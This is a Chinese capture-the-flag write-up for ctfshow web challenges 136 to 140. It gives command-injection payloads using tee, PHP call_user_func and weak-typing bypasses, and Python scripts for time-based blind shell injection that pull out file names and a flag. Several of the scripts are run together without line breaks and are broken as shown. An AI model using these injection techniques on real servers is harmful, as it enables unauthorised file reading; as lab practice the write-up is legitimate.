1.web136
还有一种写文件的命令时tee命令
payload:
: ls /|tee 1 访问1下载查看文件1发现根目录下有flag
cat /f149_15_h3r3|tee 2 访问下载查看文件2
2.web137
call_user_func
<?php
class myclass {static function say_hello(){echo "Hello!\n";}
}
$classname = "myclass";
call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello');
?>
payload:
ctfshow=ctfshow::getFlag
3.web138
过滤了:
还可以传入数组
payload:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
4.web139
发现tee写文件不行了,应该时权限不够
使用盲注的方式,跟sql的时间盲注差不多,这里利用的时linux的shell语法
import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5): #知道flag在第四行,实际情况中把数字写大一些key=0for j in range(1,15): #文件名的长度大小if key==1:breakfor n in str:payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)#print(payload)url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payloadtry:requests.get(url,timeout=(2.5,2.5))except:result=result+nprint(result)breakif n=='9':key=1result+=" "
得出flag在根目录下的f149_15_h3r3中,继续盲注得出flag值
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
#key=0 #key我感觉可以不用加
for j in range(1,45):
# if key==1:
# break for n in str:payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)#print(payload)url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payloadtry:requests.get(url,timeout=(2.5,2.5))except:result=result+nprint(result)break
awk nr从第几行开始
cut截取字符第几个字符
5.web140
弱类型比较,intval把非零数字转为0,而后面的ctfshow会进行类型转换,也会转换为0
payload:
f1=md5&f2=md5
f1=usleep&f2=usleep
f1=md5&f2=sleep
f1=sha1&f2=md5
php特性